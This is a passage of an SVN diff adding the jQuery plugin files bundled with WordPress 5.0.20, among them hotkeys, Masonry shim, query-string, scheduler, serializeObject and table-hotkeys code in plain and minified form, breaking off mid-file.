+            defaults = {type: 'keydown', propagate: false, disableInInput: false, target: jQuery('html')[0]},
+            that = this;
+        opt = jQuery.extend( opt , defaults, options || {} );
+        combi = combi.toLowerCase();
+
+        // inspect if keystroke matches
+        var inspector = function(event) {
+            // WP: not needed with newer jQuery
+            // event = jQuery.event.fix(event); // jQuery event normalization.
+            var element = event.target;
+            // @ TextNode -> nodeType == 3
+            // WP: not needed with newer jQuery
+            // element = (element.nodeType==3) ? element.parentNode : element;
+
+            if ( opt['disableInInput'] ) { // Disable shortcut keys in Input, Textarea fields
+                var target = jQuery(element);
+
+				if ( ( target.is('input') || target.is('textarea') ) &&
+					( ! opt.noDisable || ! target.is( opt.noDisable ) ) ) {
+
+					return;
+                }
+            }
+            var code = event.which,
+                type = event.type,
+                character = String.fromCharCode(code).toLowerCase(),
+                special = that.special_keys[code],
+                shift = event.shiftKey,
+                ctrl = event.ctrlKey,
+                alt= event.altKey,
+                meta = event.metaKey,
+                propagate = true, // default behaivour
+                mapPoint = null;
+
+            // in opera + safari, the event.target is unpredictable.
+            // for example: 'keydown' might be associated with HtmlBodyElement
+            // or the element where you last clicked with your mouse.
+            // WP: needed for all browsers
+            // if (jQuery.browser.opera || jQuery.browser.safari){
+                while (!that.all[element] && element.parentNode){
+                    element = element.parentNode;
+                }
+            // }
+            var cbMap = that.all[element].events[type].callbackMap;
+            if(!shift && !ctrl && !alt && !meta) { // No Modifiers
+                mapPoint = cbMap[special] ||  cbMap[character]
+			}
+            // deals with combinaitons (alt|ctrl|shift+anything)
+            else{
+                var modif = '';
+                if(alt) modif +='alt+';
+                if(ctrl) modif+= 'ctrl+';
+                if(shift) modif += 'shift+';
+                if(meta) modif += 'meta+';
+                // modifiers + special keys or modifiers + characters or modifiers + shift characters
+                mapPoint = cbMap[modif+special] || cbMap[modif+character] || cbMap[modif+that.shift_nums[character]]
+            }
+            if (mapPoint){
+                mapPoint.cb(event);
+                if(!mapPoint.propagate) {
+                    event.stopPropagation();
+                    event.preventDefault();
+                    return false;
+                }
+            }
+		};
+        // first hook for this element
+        if (!this.all[opt.target]){
+            this.all[opt.target] = {events:{}};
+        }
+        if (!this.all[opt.target].events[opt.type]){
+            this.all[opt.target].events[opt.type] = {callbackMap: {}}
+            jQuery.event.add(opt.target, opt.type, inspector);
+        }
+        this.all[opt.target].events[opt.type].callbackMap[combi] =  {cb: callback, propagate:opt.propagate};
+        return jQuery;
+	};
+    this.remove = function(exp, opt) {
+        opt = opt || {};
+        target = opt.target || jQuery('html')[0];
+        type = opt.type || 'keydown';
+		exp = exp.toLowerCase();
+        delete this.all[target].events[type].callbackMap[exp]
+        return jQuery;
+	};
+    jQuery.hotkeys = this;
+    return jQuery;
+})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.hotkeys.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.hotkeys.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.hotkeys.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+(function(a){this.version="(beta)(0.0.3)";this.all={};this.special_keys={27:"esc",9:"tab",32:"space",13:"return",8:"backspace",145:"scroll",20:"capslock",144:"numlock",19:"pause",45:"insert",36:"home",46:"del",35:"end",33:"pageup",34:"pagedown",37:"left",38:"up",39:"right",40:"down",112:"f1",113:"f2",114:"f3",115:"f4",116:"f5",117:"f6",118:"f7",119:"f8",120:"f9",121:"f10",122:"f11",123:"f12"};this.shift_nums={"`":"~","1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","\\":"|"};this.add=function(c,b,h){if(a.isFunction(b)){h=b;b={}}var d={},f={type:"keydown",propagate:false,disableInInput:false,target:a("html")[0]},e=this;d=a.extend(d,f,b||{});c=c.toLowerCase();var g=function(j){var o=j.target;if(d.disableInInput){var s=a(o);if(s.is("input")||s.is("textarea")){return}}var l=j.which,u=j.type,r=String.fromCharCode(l).toLowerCase(),t=e.special_keys[l],m=j.shiftKey,i=j.ctrlKey,p=j.altKey,w=j.metaKey,q=true,k=null;while(!e.all[o]&&o.parentNode){o=o.parentNode}var v=e.all[o].events[u].callbackMap;if(!m&&!i&&!p&&!w){k=v[t]||v[r]}else{var n="";if(p){n+="alt+"}if(i){n+="ctrl+"}if(m){n+="shift+"}if(w){n+="meta+"}k=v[n+t]||v[n+r]||v[n+e.shift_nums[r]]}if(k){k.cb(j);if(!k.propagate){j.stopPropagation();j.preventDefault();return false}}};if(!this.all[d.target]){this.all[d.target]={events:{}}}if(!this.all[d.target].events[d.type]){this.all[d.target].events[d.type]={callbackMap:{}};a.event.add(d.target,d.type,g)}this.all[d.target].events[d.type].callbackMap[c]={cb:h,propagate:d.propagate};return a};this.remove=function(c,b){b=b||{};target=b.target||a("html")[0];type=b.type||"keydown";c=c.toLowerCase();delete this.all[target].events[type].callbackMap[c];return a};a.hotkeys=this;return a})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.js	(revision 56912)
@@ -0,0 +1,6 @@
+/*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license | WordPress 2019-05-16 */
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d,e,f,g,h,i,j,k=n.css(a,"position"),l=n(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=n.css(a,"top"),i=n.css(a,"left"),j=("absolute"===k||"fixed"===k)&&n.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,n.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,n.contains(b,e)?(void 0!==e.getBoundingClientRect&&(d=e.getBoundingClientRect()),c=lc(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===n.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],"html")||(c=a.offset()),c.top+=n.css(a[0],"borderTopWidth",!0),c.left+=n.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-n.css(d,"marginTop",!0),left:b.left-c.left-n.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&!n.nodeName(a,"html")&&"static"===n.css(a,"position"))a=a.offsetParent;return a||Pa})}}),n.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);n.fn[a]=function(d){return X(this,function(a,d,e){var f=lc(a);if(void 0===e)return f?b in f?f[b]:f.document.documentElement[d]:a[d];f?f.scrollTo(c?n(f).scrollLeft():e,c?e:n(f).scrollTop()):a[d]=e},a,d,arguments.length,null)}}),n.each(["top","left"],function(a,b){n.cssHooks[b]=Ta(l.pixelPosition,function(a,c){if(c)return c=Ra(a,b),Na.test(c)?n(a).position()[b]+"px":c})}),n.each({Height:"height",Width:"width"},function(a,b){n.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(!0===d||!0===e?"margin":"border")
+;return X(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return n});var mc=a.jQuery,nc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=nc),b&&a.jQuery===n&&(a.jQuery=mc),n},b||(a.jQuery=a.$=n),n});
+jQuery.noConflict();
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.masonry.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.masonry.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.masonry.js	(revision 56912)
@@ -0,0 +1,105 @@
+/*!
+ * Masonry v2 shim
+ * to maintain backwards compatibility
+ * as of Masonry v3.1.2
+ *
+ * Cascading grid layout library
+ * http://masonry.desandro.com
+ * MIT License
+ * by David DeSandro
+ */
+( function( window ) {
+
+  'use strict';
+
+  var Masonry = window.Masonry;
+
+  Masonry.prototype._remapV2Options = function() {
+    // map v2 options to v3 equivalents
+    this._remapOption( 'gutterWidth', 'gutter' );
+    this._remapOption( 'isResizable', 'isResizeBound' );
+    this._remapOption( 'isRTL', 'isOriginLeft', function( opt ) {
+      return !opt;
+    });
+
+    // override transitionDuration with isAnimated
+    var isAniOption = this.options.isAnimated;
+    if ( isAniOption !== undefined ) {
+      this.options.transitionDuration = isAniOption ?
+        this.options.transitionDuration : 0;
+    }
+
+    if ( isAniOption === undefined || isAniOption ) {
+      // use animation Duration option in place of transitionDuration
+      var aniOptions = this.options.animationOptions;
+      var aniDuration = aniOptions && aniOptions.duration;
+      if ( aniDuration ) {
+        this.options.transitionDuration = typeof aniDuration === 'string' ?
+          aniDuration : aniDuration + 'ms';
+      }
+    }
+  };
+
+  Masonry.prototype._remapOption = function( from, to, munge ) {
+    var fromOption = this.options[ from ];
+    if ( fromOption !== undefined ) {
+      this.options[ to ] = munge ? munge( fromOption ) : fromOption;
+    }
+  };
+
+  // remap v2 options for necessary methods
+
+  var __create = Masonry.prototype._create;
+  Masonry.prototype._create = function() {
+    var that = this;
+    this._remapV2Options();
+    __create.apply( this, arguments );
+    setTimeout( function() {
+      jQuery( that.element ).addClass( 'masonry' );
+    }, 0 );
+  };
+
+  var _layout = Masonry.prototype.layout;
+  Masonry.prototype.layout = function() {
+    this._remapV2Options();
+    _layout.apply( this, arguments );
+  };
+
+  var _option = Masonry.prototype.option;
+  Masonry.prototype.option = function() {
+    _option.apply( this, arguments );
+    this._remapV2Options();
+  };
+
+  var __itemize = Masonry.prototype._itemize;
+  Masonry.prototype._itemize = function( elements ) {
+    var items = __itemize.apply( this, arguments );
+    jQuery( elements ).addClass( 'masonry-brick' );
+    return items;
+  };
+
+  // re-enable using function for columnWidth
+  var _measureColumns = Masonry.prototype.measureColumns;
+  Masonry.prototype.measureColumns = function() {
+    var colWOpt = this.options.columnWidth;
+    if ( colWOpt && typeof colWOpt === 'function' ) {
+      this.getContainerWidth();
+      this.columnWidth = colWOpt( this.containerWidth );
+    }
+    _measureColumns.apply( this, arguments );
+  };
+
+  Masonry.prototype.reload = function() {
+    this.reloadItems.apply( this, arguments );
+    this.layout.apply( this );
+  };
+
+  var _destroy = Masonry.prototype.destroy;
+  Masonry.prototype.destroy = function() {
+    var items = this.getItemElements();
+    jQuery( this.element ).removeClass( 'masonry' );
+    jQuery( items ).removeClass( 'masonry-brick' );
+    _destroy.apply( this, arguments );
+  };
+
+})( window );
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.masonry.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.masonry.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.masonry.min.js	(revision 56912)
@@ -0,0 +1,11 @@
+/*!
+ * Masonry v2 shim
+ * to maintain backwards compatibility
+ * as of Masonry v3.1.2
+ *
+ * Cascading grid layout library
+ * http://masonry.desandro.com
+ * MIT License
+ * by David DeSandro
+ */
+!function(){"use strict";var t=window.Masonry;t.prototype._remapV2Options=function(){this._remapOption("gutterWidth","gutter"),this._remapOption("isResizable","isResizeBound"),this._remapOption("isRTL","isOriginLeft",function(t){return!t});var t=this.options.isAnimated;void 0!==t&&(this.options.transitionDuration=t?this.options.transitionDuration:0),void 0!==t&&!t||(t=(t=this.options.animationOptions)&&t.duration)&&(this.options.transitionDuration="string"==typeof t?t:t+"ms")},t.prototype._remapOption=function(t,o,i){t=this.options[t];void 0!==t&&(this.options[o]=i?i(t):t)};var o=t.prototype._create;t.prototype._create=function(){var t=this;this._remapV2Options(),o.apply(this,arguments),setTimeout(function(){jQuery(t.element).addClass("masonry")},0)};var i=t.prototype.layout;t.prototype.layout=function(){this._remapV2Options(),i.apply(this,arguments)};var n=t.prototype.option;t.prototype.option=function(){n.apply(this,arguments),this._remapV2Options()};var s=t.prototype._itemize;t.prototype._itemize=function(t){var o=s.apply(this,arguments);return jQuery(t).addClass("masonry-brick"),o};var e=t.prototype.measureColumns;t.prototype.measureColumns=function(){var t=this.options.columnWidth;t&&"function"==typeof t&&(this.getContainerWidth(),this.columnWidth=t(this.containerWidth)),e.apply(this,arguments)},t.prototype.reload=function(){this.reloadItems.apply(this,arguments),this.layout.apply(this)};var p=t.prototype.destroy;t.prototype.destroy=function(){var t=this.getItemElements();jQuery(this.element).removeClass("masonry"),jQuery(t).removeClass("masonry-brick"),p.apply(this,arguments)}}();
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.query.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.query.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.query.js	(revision 56912)
@@ -0,0 +1,11 @@
+/**
+ * jQuery.query - Query String Modification and Creation for jQuery
+ * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com)
+ * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/).
+ * Date: 2009/8/13
+ *
+ * @author Blair Mitchelmore
+ * @version 2.2.3
+ *
+ **/
+!function(e){var t=e.separator||"&",l=!1!==e.spaces,n=(e.suffix,!1!==e.prefix?!0===e.hash?"#":"?":""),i=!1!==e.numbers;jQuery.query=new function(){function c(e,t){return null!=e&&null!==e&&(!t||e.constructor==t)}function u(e){for(var t,n=/\[([^[]*)\]/g,r=/^([^[]+)(\[.*\])?$/.exec(e),e=r[1],u=[];t=n.exec(r[2]);)u.push(t[1]);return[e,u]}function o(e,t,n){var r=t.shift();if("object"!=typeof e&&(e=null),""===r)if(c(e=e||[],Array))e.push(0==t.length?n:o(null,t.slice(0),n));else if(c(e,Object)){for(var u=0;null!=e[u++];);e[--u]=0==t.length?n:o(e[u],t.slice(0),n)}else(e=[]).push(0==t.length?n:o(null,t.slice(0),n));else if(r&&r.match(/^\s*[0-9]+\s*$/))(e=e||[])[i=parseInt(r,10)]=0==t.length?n:o(e[i],t.slice(0),n);else{if(!r)return n;var i=r.replace(/^\s*|\s*$/g,"");if(c(e=e||{},Array)){for(var s={},u=0;u<e.length;++u)s[u]=e[u];e=s}e[i]=0==t.length?n:o(e[i],t.slice(0),n)}return e}function r(e){var n=this;return n.keys={},e.queryObject?jQuery.each(e.get(),function(e,t){n.SET(e,t)}):n.parseNew.apply(n,arguments),n}return r.prototype={queryObject:!0,parseNew:function(){var n=this;return n.keys={},jQuery.each(arguments,function(){var e=""+this;e=(e=e.replace(/^[?#]/,"")).replace(/[;&]$/,""),l&&(e=e.replace(/[+]/g," ")),jQuery.each(e.split(/[&;]/),function(){var e=decodeURIComponent(this.split("=")[0]||""),t=decodeURIComponent(this.split("=")[1]||"");e&&(i&&(/^[+-]?[0-9]+\.[0-9]*$/.test(t)?t=parseFloat(t):/^[+-]?[1-9][0-9]*$/.test(t)&&(t=parseInt(t,10))),n.SET(e,t=!t&&0!==t||t))})}),n},has:function(e,t){e=this.get(e);return c(e,t)},GET:function(e){if(!c(e))return this.keys;for(var e=u(e),t=e[0],n=e[1],r=this.keys[t];null!=r&&0!=n.length;)r=r[n.shift()];return"number"==typeof r?r:r||""},get:function(e){e=this.GET(e);return c(e,Object)?jQuery.extend(!0,{},e):c(e,Array)?e.slice(0):e},SET:function(e,t){var n,r;return e.includes("__proto__")||e.includes("constructor")||e.includes("prototype")||(t=c(t)?t:null,n=(e=u(e))[0],e=e[1],r=this.keys[n],this.keys[n]=o(r,e.slice(0),t)),this},set:function(e,t){return this.copy().SET(e,t)},REMOVE:function(e,t){if(t){var n=this.GET(e);if(c(n,Array)){for(tval in n)n[tval]=n[tval].toString();var r=$.inArray(t,n);if(!(0<=r))return;e=(e=n.splice(r,1))[r]}else if(t!=n)return}return this.SET(e,null).COMPACT()},remove:function(e,t){return this.copy().REMOVE(e,t)},EMPTY:function(){var n=this;return jQuery.each(n.keys,function(e,t){delete n.keys[e]}),n},load:function(e){var t=e.replace(/^.*?[#](.+?)(?:\?.+)?$/,"$1"),n=e.replace(/^.*?[?](.+?)(?:#.+)?$/,"$1");return new r(e.length==n.length?"":n,e.length==t.length?"":t)},empty:function(){return this.copy().EMPTY()},copy:function(){return new r(this)},COMPACT:function(){return this.keys=function r(e){var u="object"==typeof e?c(e,Array)?[]:{}:e;return"object"==typeof e&&jQuery.each(e,function(e,t){if(!c(t))return!0;var n;n=u,t=r(t),c(n,Array)?n.push(t):n[e]=t}),u}(this.keys),this},compact:function(){return this.copy().COMPACT()},toString:function(){function u(e,t){function r(e){return(t&&""!=t?[t,"[",e,"]"]:[e]).join("")}jQuery.each(e,function(e,t){var n;"object"==typeof t?u(t,r(e)):(n=i,e=r(e),c(t=t)&&!1!==t&&(e=[s(e)],!0!==t&&(e.push("="),e.push(s(t))),n.push(e.join(""))))})}var e=[],i=[],s=function(e){return e+="",e=encodeURIComponent(e),e=l?e.replace(/%20/g,"+"):e};return u(this.keys),0<i.length&&e.push(n),e.push(i.join(t)),e.join("")}},new r(location.search,location.hash)}}(jQuery.query||{});
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.schedule.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.schedule.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.schedule.js	(revision 56912)
@@ -0,0 +1,36 @@
+
+(function($){$.scheduler=function(){this.bucket={};return;};$.scheduler.prototype={schedule:function(){var ctx={"id":null,"time":1000,"repeat":false,"protect":false,"obj":null,"func":function(){},"args":[]};function _isfn(fn){return(!!fn&&typeof fn!="string"&&typeof fn[0]=="undefined"&&RegExp("function","i").test(fn+""));};var i=0;var override=false;if(typeof arguments[i]=="object"&&arguments.length>1){override=true;i++;}
+if(typeof arguments[i]=="object"){for(var option in arguments[i])
+if(typeof ctx[option]!="undefined")
+ctx[option]=arguments[i][option];i++;}
+if(typeof arguments[i]=="number"||(typeof arguments[i]=="string"&&arguments[i].match(RegExp("^[0-9]+[smhdw]$"))))
+ctx["time"]=arguments[i++];if(typeof arguments[i]=="boolean")
+ctx["repeat"]=arguments[i++];if(typeof arguments[i]=="boolean")
+ctx["protect"]=arguments[i++];if(typeof arguments[i]=="object"&&typeof arguments[i+1]=="string"&&_isfn(arguments[i][arguments[i+1]])){ctx["obj"]=arguments[i++];ctx["func"]=arguments[i++];}
+else if(typeof arguments[i]!="undefined"&&(_isfn(arguments[i])||typeof arguments[i]=="string"))
+ctx["func"]=arguments[i++];while(typeof arguments[i]!="undefined")
+ctx["args"].push(arguments[i++]);if(override){if(typeof arguments[1]=="object"){for(var option in arguments[0])
+if(typeof ctx[option]!="undefined"&&typeof arguments[1][option]=="undefined")
+ctx[option]=arguments[0][option];}
+else{for(var option in arguments[0])
+if(typeof ctx[option]!="undefined")
+ctx[option]=arguments[0][option];}
+i++;}
+ctx["_scheduler"]=this;ctx["_handle"]=null;var match=String(ctx["time"]).match(RegExp("^([0-9]+)([smhdw])$"));if(match&&match[0]!="undefined"&&match[1]!="undefined")
+ctx["time"]=String(parseInt(match[1])*{s:1000,m:1000*60,h:1000*60*60,d:1000*60*60*24,w:1000*60*60*24*7}[match[2]]);if(ctx["id"]==null)
+ctx["id"]=(String(ctx["repeat"])+":"
++String(ctx["protect"])+":"
++String(ctx["time"])+":"
++String(ctx["obj"])+":"
++String(ctx["func"])+":"
++String(ctx["args"]));if(ctx["protect"])
+if(typeof this.bucket[ctx["id"]]!="undefined")
+return this.bucket[ctx["id"]];if(!_isfn(ctx["func"])){if(ctx["obj"]!=null&&typeof ctx["obj"]=="object"&&typeof ctx["func"]=="string"&&_isfn(ctx["obj"][ctx["func"]]))
+ctx["func"]=ctx["obj"][ctx["func"]];else
+ctx["func"]=eval("function () { "+ctx["func"]+" }");}
+ctx["_handle"]=this._schedule(ctx);this.bucket[ctx["id"]]=ctx;return ctx;},reschedule:function(ctx){if(typeof ctx=="string")
+ctx=this.bucket[ctx];ctx["_handle"]=this._schedule(ctx);return ctx;},_schedule:function(ctx){var trampoline=function(){var obj=(ctx["obj"]!=null?ctx["obj"]:ctx);(ctx["func"]).apply(obj,ctx["args"]);if(typeof(ctx["_scheduler"]).bucket[ctx["id"]]!="undefined"&&ctx["repeat"])
+(ctx["_scheduler"])._schedule(ctx);else
+delete(ctx["_scheduler"]).bucket[ctx["id"]];};return setTimeout(trampoline,ctx["time"]);},cancel:function(ctx){if(typeof ctx=="string")
+ctx=this.bucket[ctx];if(typeof ctx=="object"){clearTimeout(ctx["_handle"]);delete this.bucket[ctx["id"]];}}};$.extend({scheduler$:new $.scheduler(),schedule:function(){return $.scheduler$.schedule.apply($.scheduler$,arguments)},reschedule:function(){return $.scheduler$.reschedule.apply($.scheduler$,arguments)},cancel:function(){return $.scheduler$.cancel.apply($.scheduler$,arguments)}});$.fn.extend({schedule:function(){var a=[{}];for(var i=0;i<arguments.length;i++)
+a.push(arguments[i]);return this.each(function(){a[0]={"id":this,"obj":this};return $.schedule.apply($,a);});}});})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.serialize-object.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.serialize-object.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.serialize-object.js	(revision 56912)
@@ -0,0 +1,31 @@
+/*!
+ * jQuery serializeObject - v0.2 - 1/20/2010
+ * http://benalman.com/projects/jquery-misc-plugins/
+ * 
+ * Copyright (c) 2010 "Cowboy" Ben Alman
+ * Dual licensed under the MIT and GPL licenses.
+ * http://benalman.com/about/license/
+ */
+
+// Whereas .serializeArray() serializes a form into an array, .serializeObject()
+// serializes a form into an (arguably more useful) object.
+
+(function($,undefined){
+  '$:nomunge'; // Used by YUI compressor.
+  
+  $.fn.serializeObject = function(){
+    var obj = {};
+    
+    $.each( this.serializeArray(), function(i,o){
+      var n = o.name,
+        v = o.value;
+        
+        obj[n] = obj[n] === undefined ? v
+          : $.isArray( obj[n] ) ? obj[n].concat( v )
+          : [ obj[n], v ];
+    });
+    
+    return obj;
+  };
+  
+})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.table-hotkeys.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.table-hotkeys.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.table-hotkeys.js	(revision 56912)
@@ -0,0 +1,99 @@
+(function($){
+	$.fn.filter_visible = function(depth) {
+		depth = depth || 3;
+		var is_visible = function() {
+			var p = $(this), i;
+			for(i=0; i<depth-1; ++i) {
+				if (!p.is(':visible')) return false;
+				p = p.parent();
+			}
+			return true;
+		};
+		return this.filter(is_visible);
+	};
+	$.table_hotkeys = function(table, keys, opts) {
+		opts = $.extend($.table_hotkeys.defaults, opts);
+		var selected_class, destructive_class, set_current_row, adjacent_row_callback, get_adjacent_row, adjacent_row, prev_row, next_row, check, get_first_row, get_last_row, make_key_callback, first_row;
+		
+		selected_class = opts.class_prefix + opts.selected_suffix;
+		destructive_class = opts.class_prefix + opts.destructive_suffix;
+		set_current_row = function (tr) {
+			if ($.table_hotkeys.current_row) $.table_hotkeys.current_row.removeClass(selected_class);
+			tr.addClass(selected_class);
+			tr[0].scrollIntoView(false);
+			$.table_hotkeys.current_row = tr;
+		};
+		adjacent_row_callback = function(which) {
+			if (!adjacent_row(which) && $.isFunction(opts[which+'_page_link_cb'])) {
+				opts[which+'_page_link_cb']();
+			}
+		};
+		get_adjacent_row = function(which) {
+			var first_row, method;
+			
+			if (!$.table_hotkeys.current_row) {
+				first_row = get_first_row();
+				$.table_hotkeys.current_row = first_row;
+				return first_row[0];
+			}
+			method = 'prev' == which? $.fn.prevAll : $.fn.nextAll;
+			return method.call($.table_hotkeys.current_row, opts.cycle_expr).filter_visible()[0];
+		};
+		adjacent_row = function(which) {
+			var adj = get_adjacent_row(which);
+			if (!adj) return false;
+			set_current_row($(adj));
+			return true;
+		};
+		prev_row = function() { return adjacent_row('prev'); };
+		next_row = function() { return adjacent_row('next'); };
+		check = function() {
+			$(opts.checkbox_expr, $.table_hotkeys.current_row).each(function() {
+				this.checked = !this.checked;
+			});
+		};
+		get_first_row = function() {
+			return $(opts.cycle_expr, table).filter_visible().eq(opts.start_row_index);
+		};
+		get_last_row = function() {
+			var rows = $(opts.cycle_expr, table).filter_visible();
+			return rows.eq(rows.length-1);
+		};
+		make_key_callback = function(expr) {
+			return function() {
+				if ( null == $.table_hotkeys.current_row ) return false;
+				var clickable = $(expr, $.table_hotkeys.current_row);
+				if (!clickable.length) return false;
+				if (clickable.is('.'+destructive_class)) next_row() || prev_row();
+				clickable.click();
+			};
+		};
+		first_row = get_first_row();
+		if (!first_row.length) return;
+		if (opts.highlight_first)
+			set_current_row(first_row);
+		else if (opts.highlight_last)
+			set_current_row(get_last_row());
+		$.hotkeys.add(opts.prev_key, opts.hotkeys_opts, function() {return adjacent_row_callback('prev');});
+		$.hotkeys.add(opts.next_key, opts.hotkeys_opts, function() {return adjacent_row_callback('next');});
+		$.hotkeys.add(opts.mark_key, opts.hotkeys_opts, check);
+		$.each(keys, function() {
+			var callback, key;
+			
+			if ($.isFunction(this[1])) {
+				callback = this[1];
+				key = this[0];
+				$.hotkeys.add(key, opts.hotkeys_opts, function(event) { return callback(event, $.table_hotkeys.current_row); });
+			} else {
+				key = this;
+				$.hotkeys.add(key, opts.hotkeys_opts, make_key_callback('.'+opts.class_prefix+key));
+			}
+		});
+
+	};
+	$.table_hotkeys.current_row = null;
+	$.table_hotkeys.defaults = {cycle_expr: 'tr', class_prefix: 'vim-', selected_suffix: 'current',
+		destructive_suffix: 'destructive', hotkeys_opts: {disableInInput: true, type: 'keypress'},
+		checkbox_expr: ':checkbox', next_key: 'j', prev_key: 'k', mark_key: 'x',
+		start_row_index: 2, highlight_first: false, highlight_last: false, next_page_link_cb: false, prev_page_link_cb: false};
+})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.table-hotkeys.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.table-hotkeys.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.table-hotkeys.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+(function(a){a.fn.filter_visible=function(c){c=c||3;var b=function(){var e=a(this),d;for(d=0;d<c-1;++d){if(!e.is(":visible")){return false}e=e.parent()}return true};return this.filter(b)};a.table_hotkeys=function(p,q,b){b=a.extend(a.table_hotkeys.defaults,b);var i,l,e,f,m,d,k,o,c,h,g,n,j;i=b.class_prefix+b.selected_suffix;l=b.class_prefix+b.destructive_suffix;e=function(r){if(a.table_hotkeys.current_row){a.table_hotkeys.current_row.removeClass(i)}r.addClass(i);r[0].scrollIntoView(false);a.table_hotkeys.current_row=r};f=function(r){if(!d(r)&&a.isFunction(b[r+"_page_link_cb"])){b[r+"_page_link_cb"]()}};m=function(s){var r,t;if(!a.table_hotkeys.current_row){r=h();a.table_hotkeys.current_row=r;return r[0]}t="prev"==s?a.fn.prevAll:a.fn.nextAll;return t.call(a.table_hotkeys.current_row,b.cycle_expr).filter_visible()[0]};d=function(s){var r=m(s);if(!r){return false}e(a(r));return true};k=function(){return d("prev")};o=function(){return d("next")};c=function(){a(b.checkbox_expr,a.table_hotkeys.current_row).each(function(){this.checked=!this.checked})};h=function(){return a(b.cycle_expr,p).filter_visible().eq(b.start_row_index)};g=function(){var r=a(b.cycle_expr,p).filter_visible();return r.eq(r.length-1)};n=function(r){return function(){if(null==a.table_hotkeys.current_row){return false}var s=a(r,a.table_hotkeys.current_row);if(!s.length){return false}if(s.is("."+l)){o()||k()}s.click()}};j=h();if(!j.length){return}if(b.highlight_first){e(j)}else{if(b.highlight_last){e(g())}}a.hotkeys.add(b.prev_key,b.hotkeys_opts,function(){return f("prev")});a.hotkeys.add(b.next_key,b.hotkeys_opts,function(){return f("next")});a.hotkeys.add(b.mark_key,b.hotkeys_opts,c);a.each(q,function(){var s,r;if(a.isFunction(this[1])){s=this[1];r=this[0];a.hotkeys.add(r,b.hotkeys_opts,function(t){return 